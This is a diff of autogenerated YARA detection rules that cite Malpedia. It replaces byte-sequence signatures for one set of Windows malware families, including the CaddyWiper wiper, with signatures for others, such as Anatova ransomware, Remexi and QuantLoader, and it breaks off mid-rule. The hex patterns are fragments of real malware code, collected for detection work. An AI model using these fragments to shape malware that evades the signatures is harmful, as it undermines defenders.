 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "aa314a06-4040-546e-b9cd-d5bfa676b734"
+		id = "5cf05a79-eeb6-5c58-8271-14cb9c81c326"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.agfspy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.agfspy_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remsec_strider"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.remsec_strider_auto.yar#L1-L115"
 		license_url = "N/A"
-		logic_hash = "e751bb17a85204a5afd3cbca773cdafd25186332344d59ffe01d62696a3fda9d"
+		logic_hash = "69887265225a27114e8e9d83252b405933e8e0558a06ab3222eee20510a77720"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -135933,32 +142952,32 @@ rule MALPEDIA_Win_Agfspy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7527 83fefd 7431 8a4101 3a4201 751a 83fefe }
-		$sequence_1 = { 85f6 7539 8d45c0 50 8d45d4 50 e8???????? }
-		$sequence_2 = { 731d 8d4101 83fe10 8945d0 8d45c0 0f4345c0 881408 }
-		$sequence_3 = { c645fc04 8d45b0 837dc408 51 0f4345b0 8d4d84 50 }
-		$sequence_4 = { e8???????? eb46 8b4720 85c0 741f 837e1410 8bce }
-		$sequence_5 = { 2bc1 83c0fc 83f81f 7724 e9???????? 32c0 8b4df4 }
-		$sequence_6 = { 837de808 0f4375d4 3b55cc 752f 85d2 7413 2bf0 }
-		$sequence_7 = { 50 e8???????? 8ac8 8b45b4 83f80c 74e7 }
-		$sequence_8 = { 0fb602 eb05 8b01 ff501c 83f8ff 742f 8b0e }
-		$sequence_9 = { d1f8 51 8bcb 8d0442 50 52 }
+		$sequence_0 = { 74f7 8b4130 2dbc97e889 f7d8 1bc0 f7d0 }
+		$sequence_1 = { 6a1a 58 6a10 8945e4 8945e8 58 }
+		$sequence_2 = { c9 c20800 55 8bec b804000100 }
+		$sequence_3 = { 85c9 74f7 8b4130 2dbc97e889 }
+		$sequence_4 = { 6803010000 50 ff15???????? 83c414 8d45f0 50 }
+		$sequence_5 = { 0d00000040 50 8d85e8fdffff 50 }
+		$sequence_6 = { ebf5 8b432c ff30 68???????? }
+		$sequence_7 = { 0510010000 68???????? 6803010000 50 }
+		$sequence_8 = { ff772c ff15???????? 85c0 7512 ff15???????? 8bc8 }
+		$sequence_9 = { 85ff 7415 83ff05 7410 68???????? 6a02 }
 
 	condition:
-		7 of them and filesize <1482752
+		7 of them and filesize <344064
 }
-rule MALPEDIA_Win_Cmstar_Auto : FILE
+rule MALPEDIA_Win_Anatova_Ransom_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "aaad9b46-b601-594d-9a0b-7ba351f67235"
+		id = "6cd7c8c4-20c9-5c58-baa7-e42d545001dc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cmstar"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cmstar_auto.yar#L1-L174"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anatova_ransom"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.anatova_ransom_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "c5a1f8b6b909717cbba254781a42955dfe756a8fae37e256ff72ffa4cd43d897"
+		logic_hash = "2867d50f6d60295cd1f6876cf7316363316dea4699194cf318a991da479d380e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -135972,40 +142991,34 @@ rule MALPEDIA_Win_Cmstar_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 836dfc10 ff75fc 8945e0 8b45dc 83c310 }
-		$sequence_1 = { 8b4dec c1e802 6a04 52 8d0481 50 e8???????? }
-		$sequence_2 = { ff75e0 ff30 e8???????? 8b4df8 }
-		$sequence_3 = { ff15???????? 8bc6 e9???????? 6a10 8d45d0 53 }
-		$sequence_4 = { ff15???????? 6a04 e8???????? be00040000 }
-		$sequence_5 = { 56 bb04010000 57 53 }
-		$sequence_6 = { ff15???????? 6a03 58 5f 5e 5b c9 }
-		$sequence_7 = { 85c0 7504 6a03 eb0d 803b4d }
-		$sequence_8 = { 81ce00ffffff 46 8a1c06 88542418 881c01 8b5c2418 }
-		$sequence_9 = { 8b2d???????? 8b44241c 8bc8 48 85c9 8944241c 7e65 }
-		$sequence_10 = { 5d 741c 8a41ff 3ac3 740b 3cff }
-		$sequence_11 = { 7505 a1???????? 50 ff15???????? eb17 }
-		$sequence_12 = { 8bf0 8d5601 52 e8???????? 83c404 8bf8 8d442414 }
-		$sequence_13 = { e9???????? 55 83f801 57 7532 }
-		$sequence_14 = { 50 ff15???????? 83f8ff 89442420 7507 33f6 e9???????? }
-		$sequence_15 = { 8b5c2408 55 8b6c2414 56 57 8b7c2418 8bcb }
+		$sequence_0 = { 488d05ec570000 48894588 488d05eb570000 48894590 }
+		$sequence_1 = { b805000000 4989c3 488b01 4989c2 4c89d1 4c89da e8???????? }
+		$sequence_2 = { 4989c2 4c89d1 e8???????? e9???????? 488b45e0 4989c2 4c89d1 }
+		$sequence_3 = { e8???????? 488b05???????? 488b0d???????? 488b15???????? 488945f0 488d45fc 4889442420 }
+		$sequence_4 = { 4883f800 0f84b2000000 488b05???????? 4883f800 0f84a1000000 488b05???????? }
+		$sequence_5 = { 4989c2 4c89d1 e8???????? 488b05???????? 4883f800 0f843e000000 8b05???????? }
+		$sequence_6 = { b800000000 4989c3 b802000000 4989c2 4c89d1 4c89da 4c8b1d???????? }
+		$sequence_7 = { 4989c0 488b45d8 4989c3 488b45a0 4989c2 4c89d1 4c89da }
+		$sequence_8 = { 4989c1 b800000000 4989c0 b800000000 4989c3 }
+		$sequence_9 = { 48b80f00000000000000 4989c0 b800000000 4989c3 488d45b1 4989c2 4c89d1 }
 
 	condition:
-		7 of them and filesize <4268032
+		7 of them and filesize <671744
 }
-rule MALPEDIA_Win_Kuaibu8_Auto : FILE
+rule MALPEDIA_Win_Remexi_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "91f1248d-ab2b-5079-b9e0-a51e87297924"
+		id = "687f133c-aa4c-5c82-a16b-c166cd521a0e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kuaibu8"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kuaibu8_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remexi"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.remexi_auto.yar#L1-L209"
 		license_url = "N/A"
-		logic_hash = "cbf2ea9a6bca6a983b840d14cd3e4818a640e713858e86101c3fa57dacf19221"
+		logic_hash = "05a94cf7e4fffe2d3333c852ee9c9ff577487ed8e4c35b0a2c90ccf7655ac3b0"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -136017,32 +143030,43 @@ rule MALPEDIA_Win_Kuaibu8_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 53 e8???????? 83c404 58 8945e4 8b5ddc }
-		$sequence_1 = { 895dc8 6a00 6a00 6a00 6804000080 }
-		$sequence_2 = { 52 e8???????? 83c404 8d0c2f 8bf0 8b03 }
-		$sequence_3 = { e9???????? 8b5dec e8???????? 8945d8 837dd803 0f8586010000 }
-		$sequence_4 = { ff75f4 e8???????? 83c408 83f800 0f8521000000 8b45fc 85c0 }
-		$sequence_5 = { 81ec30000000 c745fc00000000 8965f8 8b5d08 ff33 ff15???????? 90 }
-		$sequence_6 = { e8???????? 8945d4 8b5ddc 85db 7409 }
-		$sequence_7 = { 53 e8???????? 83c404 58 8945f4 6805000000 e8???????? }
-		$sequence_8 = { dd5de8 dd45e8 dc25???????? dd5de0 8b5df8 e8???????? b802000000 }
-		$sequence_9 = { 83c404 8803 e9???????? bd02000000 55 e8???????? 668b4e0c }
+		$sequence_0 = { 56 c706ffffffff e8???????? 83c404 }
+		$sequence_1 = { 53 50 ff15???????? 3dffffff00 }
+		$sequence_2 = { ff15???????? 8bf0 85f6 7513 8b45d8 }
+		$sequence_3 = { 68???????? 50 ff15???????? 8b0d???????? 8b35???????? 890d???????? 68???????? }
+		$sequence_4 = { 8945e0 8945e4 8945e8 b802000000 }
+		$sequence_5 = { ff15???????? 6a10 8d4ddc 8bf0 51 56 ff15???????? }
+		$sequence_6 = { 8b95d4feffff 52 6a00 68ffff1f00 ffd7 }
+		$sequence_7 = { e8???????? 83ec1c 8bcc 89642430 6aff 53 }
+		$sequence_8 = { 52 56 50 e8???????? 8bf0 eb02 }
+		$sequence_9 = { 57 e8???????? 6a01 6a00 6a00 ff15???????? }
+		$sequence_10 = { 33c0 5f c3 56 ff15???????? 57 8b3d???????? }
+		$sequence_11 = { 8b45d8 8b4818 8b5104 50 8955e0 }
+		$sequence_12 = { 890d???????? 68???????? 41 50 a3???????? }
+		$sequence_13 = { 488bf9 33d2 33c9 e8???????? 488d0d74e90100 4885c0 480f44c1 }
+		$sequence_14 = { 488d15fe730200 488d4c2450 e8???????? 90 41b902000000 }
+		$sequence_15 = { 0f8333010000 488d4550 483bf0 0f8726010000 }
+		$sequence_16 = { 488b0b e8???????? 48c743180f000000 48c7431000000000 c60300 8bc7 488b4c2438 }
+		$sequence_17 = { 4883ec40 48c7442428feffffff 48895c2460 4889742468 488b05???????? }
+		$sequence_18 = { 488d0527dd0100 488981b8000000 4883a17004000000 b90d000000 }
+		$sequence_19 = { 488d4c2470 e8???????? 85c0 750a b902020208 }
+		$sequence_20 = { b902010209 e8???????? 90 48837b1810 }
 
 	condition:
-		7 of them and filesize <737280
+		7 of them and filesize <614400
 }
-rule MALPEDIA_Win_Brutpos_Auto : FILE
+rule MALPEDIA_Win_Ksl0T_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bb6abccd-59b3-5a30-9e67-ccbe498737a5"
+		id = "5a4c8dc6-6c96-5c41-9019-3d4bc785a54b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.brutpos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.brutpos_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ksl0t"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ksl0t_auto.yar#L1-L172"
 		license_url = "N/A"
-		logic_hash = "89d0bc6a7e52ba9f63dface96ebbf483b03be0cbf8144ed32f3b88bf360b4eda"
+		logic_hash = "5f184f0ae6eb14c42a9f8143b74f6a69a5bb90e2ed5eff63faec19a839c8988a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136056,32 +143080,38 @@ rule MALPEDIA_Win_Brutpos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 59 58 83c004 83e904 8808 }
-		$sequence_1 = { 03c2 034508 2938 83e902 75e8 ebd9 5e }
-		$sequence_2 = { 8d5b18 8b5b60 03d8 52 8b35???????? }
-		$sequence_3 = { 6681f9df77 7412 0f31 8bd8 }
-		$sequence_4 = { 8bd0 ad 8bc8 83e908 66ad 6685c0 740c }
-		$sequence_5 = { 8d7c38fc baffffffff 83c704 57 }
-		$sequence_6 = { 66ad 6685c0 740c 25ff0f0000 03c2 034508 }
-		$sequence_7 = { 52 e8???????? 59 8b09 8bd1 }
-		$sequence_8 = { c1e202 03d3 8b12 03d0 }
-		$sequence_9 = { 8b5508 8b4204 0fb70a 50 51 807401ff97 }
+		$sequence_0 = { ff15???????? 83c40c 3bf7 7515 ff15???????? }
+		$sequence_1 = { c68424a100000039 c68424a200000039 888c24a3000000 c684248000000026 }
+		$sequence_2 = { c684241001000006 88842411010000 889c2412010000 c684241301000013 }
+		$sequence_3 = { 68???????? 8d8d00080000 51 ff15???????? 8d9500080000 52 }
+		$sequence_4 = { ff942418040000 4c8bd8 488b842420040000 4c899878010000 488d542468 }
+		$sequence_5 = { c68424f600000034 c68424f700000038 c68424f800000030 c68424f900000002 c68424fa00000055 c644245813 c64424593c }
+		$sequence_6 = { c684245a01000021 c684245b01000018 c684245c01000030 c684245d01000026 c684245e01000026 c684245f01000034 }
+		$sequence_7 = { 4881c294000000 41b801000000 488d0dd7e60000 ff15???????? }
+		$sequence_8 = { 8d94241c030000 52 53 89466c ffd7 894670 }
+		$sequence_9 = { 3bcf 7518 81fa00010000 7510 }
+		$sequence_10 = { c684248800000002 c684248900000055 c684241801000000 c68424190100003b c684241a0100003d c684241b0100003a }
+		$sequence_11 = { 84c0 745a 68???????? 68???????? ff15???????? 68???????? 68???????? }
+		$sequence_12 = { 488bce 488905???????? ff15???????? 488bc8 e8???????? 488d1592280000 488bce }
+		$sequence_13 = { ff15???????? 8bf0 6800020000 57 8d95000d0000 52 ff15???????? }
+		$sequence_14 = { 7509 488d0de2450000 eb02 33c9 e8???????? 4883c438 c3 }
+		$sequence_15 = { c68424f801000038 c68424f901000034 c68424fa01000039 c68424fb01000039 c68424fc0100003a }
 
 	condition:
-		7 of them and filesize <65536
+		7 of them and filesize <196608
 }
-rule MALPEDIA_Win_Powerpool_Auto : FILE
+rule MALPEDIA_Win_Adylkuzz_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0805ab0c-2483-51ef-91bd-613062750253"
+		id = "092d1cf3-18b6-52f1-b243-99d6007e2b3c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerpool"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.powerpool_auto.yar#L1-L157"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.adylkuzz"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.adylkuzz_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "c10aba7ea9fc986a00a689a799239b370f623f0a4bcaeb12871b3235333f8df6"
+		logic_hash = "de89fec9458f93b8b7ae503a1f8b6b5fd97e3b1bb1f58b10dd0b4e8fc16d178d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136095,38 +143125,32 @@ rule MALPEDIA_Win_Powerpool_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 741f 90 8b4e54 8a01 }
-		$sequence_1 = { 7420 8b4514 8b4dfc 81c12c020000 }
-		$sequence_2 = { 895de8 8b5dcc 2bd8 895940 8b5dd0 }
-		$sequence_3 = { 005311 40 005d11 40 006711 }
-		$sequence_4 = { 7420 83e91d 7412 83e903 0f8515010000 c745dcfcae4400 }
-		$sequence_5 = { 7420 3c0a 740c 6a0a 6a01 8d4b14 }
-		$sequence_6 = { 741f d945b8 03c0 03c0 }
-		$sequence_7 = { 8b5c2410 23da c1ce0a 03f2 23ee 0bdd 035c2418 }
-		$sequence_8 = { 895dd0 8b7940 897dcc 3bc7 7613 }
-		$sequence_9 = { 7420 807de000 741a 8b4ddc }
-		$sequence_10 = { 006711 40 0000 0303 }
-		$sequence_11 = { 7420 8b4508 8b4d0c 3bc1 }
-		$sequence_12 = { 895ddc 895dfc 8d45e0 50 }
-		$sequence_13 = { 895de0 895de4 33c9 66898dd0fdffff }
-		$sequence_14 = { 895ddc 8b45e4 50 e8???????? }
-		$sequence_15 = { 744f 53 57 8bff 8bc8 }
+		$sequence_0 = { f5 f8 0fb7bc79b0010000 81fa00000001 0f833a000000 3b45fc 0f83c3fc0100 }
+		$sequence_1 = { 8b44242c 8b4804 894c2428 8b4a04 894c2430 8b08 8b02 }
+		$sequence_2 = { e8???????? 807e053d 8944240c 8d4340 754b 89e9 bafe00008d }
+		$sequence_3 = { 891c24 e8???????? c744240401000000 891c24 e8???????? 85c0 7518 }
+		$sequence_4 = { f9 663bc9 33d8 03f8 e9???????? 8b442500 660fbdd5 }
+		$sequence_5 = { f8 f5 03f8 e9???????? ff742500 055a2dd112 8dad04000000 }
+		$sequence_6 = { 89442408 8b4510 89442404 8b03 890424 e8???????? 8b550c }
+		$sequence_7 = { f6c3d8 2dc4275e67 2bce 660fc8 66d3c0 fec8 8d440aa4 }
+		$sequence_8 = { e9???????? 8b4c2500 80c4f7 d2d8 648b01 89442500 81ee04000000 }
+		$sequence_9 = { c7442404ffffffff 891c24 e8???????? 8974240c 89442408 c7442404???????? 891c24 }
 
 	condition:
-		7 of them and filesize <819200
+		7 of them and filesize <6438912
 }
-rule MALPEDIA_Win_Caddywiper_Auto : FILE
+rule MALPEDIA_Win_Quantloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "24926b93-f761-5ed3-a63e-3417e035ba52"
+		id = "4febf63d-0f98-5ee5-9cc6-9fa1c2da1c7c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.caddywiper"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.caddywiper_auto.yar#L1-L116"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quantloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.quantloader_auto.yar#L1-L175"
 		license_url = "N/A"
-		logic_hash = "79a75ac7d216323abd7ca177a49671b9ea50088d3b0d895d69cfd4d03ce4d9ea"
+		logic_hash = "02e93017f3318c384f200ca1e9ba6b581c4815c155dd61d906306a2c75ce48f2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136140,32 +143164,38 @@ rule MALPEDIA_Win_Caddywiper_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8345b404 66837dac00 75c4 c745a800000000 }
-		$sequence_1 = { c68592feffff64 c68593feffff00 c68594feffff76 c68595feffff00 c68596feffff61 c68597feffff00 }
-		$sequence_2 = { 51 e8???????? 83c408 8985b0fbffff c785f4f1ffff00000000 c68588fbffff4c }
-		$sequence_3 = { e9???????? 6a00 8b95acf1ffff 52 ff9564f7ffff }
-		$sequence_4 = { 8b4dfc 8b5508 c7048a00000000 ebd7 }
-		$sequence_5 = { c645b900 c645ba39 c645bb00 c645bc00 c645bd00 8d4d98 898df4f7ffff }
-		$sequence_6 = { c685a3feffff00 c685a4feffff6c c685a5feffff00 c685a6feffff6c c685a7feffff00 }
-		$sequence_7 = { c6459264 c6459300 8d458c 50 8d8d90feffff }
-		$sequence_8 = { 8985fcf7ffff 8d55c0 52 8d45dc }
-		$sequence_9 = { 7407 8b4598 50 ff55fc 8b4594 8be5 }
+		$sequence_0 = { 8d85f8fdffff 890424 e8???????? 8d85f8fdffff 890424 e8???????? }
+		$sequence_1 = { e8???????? c7442404???????? c70424???????? e8???????? 8b450c }
+		$sequence_2 = { e8???????? 85c0 750c c70424???????? e8???????? c70424???????? }
+		$sequence_3 = { e8???????? 85c0 0f94c0 0fb6d8 c744240801000000 8b45f8 }
+		$sequence_4 = { 89442404 c7042400000000 e8???????? 83ec0c 8d85f8f7ffff 89442404 }
+		$sequence_5 = { c744240400000000 c70424???????? e8???????? 83ec14 8945f4 }
+		$sequence_6 = { c70424???????? e8???????? c744240800000000 c7442404???????? c70424???????? }
+		$sequence_7 = { 817d08???????? 7470 817d0c00704000 7467 8b4508 803800 }
+		$sequence_8 = { 8d341e 66ad 6633d0 75df }
+		$sequence_9 = { 75f1 5e 8bc6 8bf7 3bc5 7403 }
+		$sequence_10 = { 61 c3 60 8bd3 8bf2 03763c 2b5634 }
+		$sequence_11 = { 837d5400 7425 64ff3530000000 59 8b490c 8b490c }
+		$sequence_12 = { ff30 6800100000 57 81042400100000 ff550c }
+		$sequence_13 = { 61 c3 58 ffd0 837c240802 7414 64a118000000 }
+		$sequence_14 = { 5d 8bc4 ff7010 ff700c ff7008 ff5550 e8???????? }
+		$sequence_15 = { 85c0 741b a900000080 7504 8d440302 25ffffff7f }
 
 	condition:
-		7 of them and filesize <33792
+		7 of them and filesize <155648
 }
-rule MALPEDIA_Win_Linseningsvr_Auto : FILE
+rule MALPEDIA_Win_Afrodita_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "acba9094-ad6f-5dc3-983b-34f0b25c68ba"
+		id = "a57e10f8-454f-5804-9e05-9ca06675125c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.linseningsvr"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.linseningsvr_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.afrodita"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.afrodita_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "2644e1e1ca2803e3e5ff6eb23f753be414d9d9a67fa2dca1bfd8c0b76cd44619"
+		logic_hash = "5b27d8ca339092e6723ab16dacd8e13cc60f1f330873451b2d099d87287bfb55"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136179,32 +143209,32 @@ rule MALPEDIA_Win_Linseningsvr_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 81c4cc0d0000 c3 68ffffff7f 56 ff15???????? 83f8ff }
-		$sequence_1 = { 5d b801000000 5b 81c4cc0d0000 }
-		$sequence_2 = { 8b4c2428 6a24 8d542464 6a01 52 89442464 }
-		$sequence_3 = { 7e16 8b742414 8bd1 8d7c1f18 c1e902 f3a5 8bca }
-		$sequence_4 = { f6c202 7410 8088????????20 8a9405ecfcffff ebe3 80a0808b400000 40 }
-		$sequence_5 = { 0f858b030000 33c9 8acc 3ac8 }
-		$sequence_6 = { 55 6800010000 8d942464040000 6a01 52 e8???????? }
-		$sequence_7 = { 8acc 3ac8 0f857f030000 33d2 55 89542432 }
-		$sequence_8 = { 66895c2411 89442419 885c2418 8944241d 89442421 6689442425 88442427 }
-		$sequence_9 = { 7514 ff15???????? 50 68???????? e8???????? 83c408 55 }
+		$sequence_0 = { 83e615 83ce02 89710c 23c6 74a5 a804 740a }
+		$sequence_1 = { e8???????? 56 8d8558ffffff c745fc05000000 57 83cb08 50 }
+		$sequence_2 = { e8???????? eb02 33ff 8bb57cffffff c745fcffffffff 8b4e2c 85c9 }
+		$sequence_3 = { 8d4f10 e8???????? 8b0f 8b4904 03cf 85c0 7454 }
+		$sequence_4 = { 0f1040c0 0f1149a0 0f104c30c0 8b75e8 660fefc8 0f1040d0 0f114c30c0 }
+		$sequence_5 = { 897304 c6430801 53 8d4de4 }
+		$sequence_6 = { 8b4b08 8b7b0c 897df8 894dfc 3bce }
+		$sequence_7 = { e8???????? 83c40c c744be0400000000 c704be00000000 5e 5b }
+		$sequence_8 = { 50 8bcb ff5720 0375d4 8bce e8???????? }
+		$sequence_9 = { 894f04 8bc7 e9???????? 83f854 0f8fdc010000 83f853 0f8dea020000 }
 
 	condition:
-		7 of them and filesize <81360
+		7 of them and filesize <2334720
 }
-rule MALPEDIA_Win_Rofin_Auto : FILE
+rule MALPEDIA_Win_Getmail_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1b07367d-380d-5a5b-bc33-dfe76ecfb58c"
+		id = "44034b05-2864-56ad-b1e2-ce75dcdcb73e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rofin"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rofin_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.getmail"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.getmail_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "8597563e9ea27355f4e9d99fcf2f4a72dc9ad41d82ef13adb90824429264b4c0"
+		logic_hash = "cb48fd93bd0d8eb21e02a5c1c72974fd0280a8132ab759131eea2bb4b2c53aaf"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136218,34 +143248,34 @@ rule MALPEDIA_Win_Rofin_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 014df0 3b06 72b5 eb1a 8b45fc 69c01c010000 03c6 }
-		$sequence_1 = { 84c0 c706???????? 7417 8b4604 85c0 7410 }
-		$sequence_2 = { 8d442434 53 50 33d2 668b95d0030000 56 8d4c242c }
-		$sequence_3 = { c644244163 88542442 c644244528 885c2446 c64424473e c644244800 }
-		$sequence_4 = { 8b44240c 8b542404 83ec10 8d4c2400 53 50 }
-		$sequence_5 = { 83c408 3bf3 7420 8b4c2420 56 8b513c 52 }
-		$sequence_6 = { 72b5 eb1a 8b45fc 69c01c010000 03c6 81781000d00000 7506 }
-		$sequence_7 = { f3a4 8d4c246a 6800040000 51 6a00 ff15???????? }
-		$sequence_8 = { e8???????? eb73 bf???????? 83c9ff 33c0 f2ae f7d1 }
-		$sequence_9 = { 8b45fc 83481c10 8b45fc 89585c 8d45f4 }
+		$sequence_0 = { 896c2460 e8???????? 8d4c2420 8d9424cc000000 51 8d8424a8000000 52 }
+		$sequence_1 = { c68424d000000004 8b040a 813803000930 7508 8b5808 d1eb 80e301 }
+		$sequence_2 = { 55 ffd7 68???????? 55 a3???????? ffd7 8b0d???????? }
+		$sequence_3 = { 50 8b10 ff5208 391d???????? 0f84a2000000 a1???????? }
+		$sequence_4 = { 0f8285feffff 33db 50 e8???????? 83c404 8b442458 50 }
+		$sequence_5 = { c3 57 e8???????? 83c404 3bc5 89432c }
+		$sequence_6 = { 83f961 7208 83f97a 7703 83e957 c0e004 }
+		$sequence_7 = { 8d8c249c000000 8894249c000000 e8???????? 8a442413 6a00 8d8c24ac000000 c68424d400000005 }
+		$sequence_8 = { 8bfe 8b11 2bf8 03c5 57 50 }
+		$sequence_9 = { 8b8424d8000000 33db 3bc3 899c24cc000000 7505 b8???????? 8b8c24dc000000 }
 
 	condition:
-		7 of them and filesize <409600
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Anel_Auto : FILE
+rule MALPEDIA_Win_Rdat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "77d9607f-3592-578d-9a57-0a9e2e4b1267"
+		id = "92191fa2-5f3d-5b42-a025-816ea5c7ba9a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anel"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.anel_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rdat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rdat_auto.yar#L1-L164"
 		license_url = "N/A"
-		logic_hash = "1c7f9ff41f497369b4973c110e6ba50d48e821bb90418969cf9b52dfa74f7f8e"
-		score = 75
-		quality = 75
+		logic_hash = "258a7b0e2fbdc995f078ce1c969b2a27e77e31fae7722d9e4f1fdbfa2416146c"
+		score = 60
+		quality = 45
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -136257,32 +143287,38 @@ rule MALPEDIA_Win_Anel_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f7fe 43 3bd8 7621 8bd0 d1ea be91cfba01 }
-		$sequence_1 = { eb24 8bca 83e910 3b5904 7f17 7c07 }
-		$sequence_2 = { 8bf9 2bf8 85c0 7411 eb03 83c010 3bc1 }
-		$sequence_3 = { c645fc06 e8???????? c645fc07 8bc8 c645fc08 e8???????? 8bc6 }
-		$sequence_4 = { 897814 895810 89458c 8818 8d4678 }
-		$sequence_5 = { c1e704 037d08 a5 a5 a5 a5 5f }
-		$sequence_6 = { 53 33ff c645fc00 e8???????? 837d1c08 8b4508 7303 }
-		$sequence_7 = { 8bec 51 56 8bf0 33c0 894610 c746140f000000 }
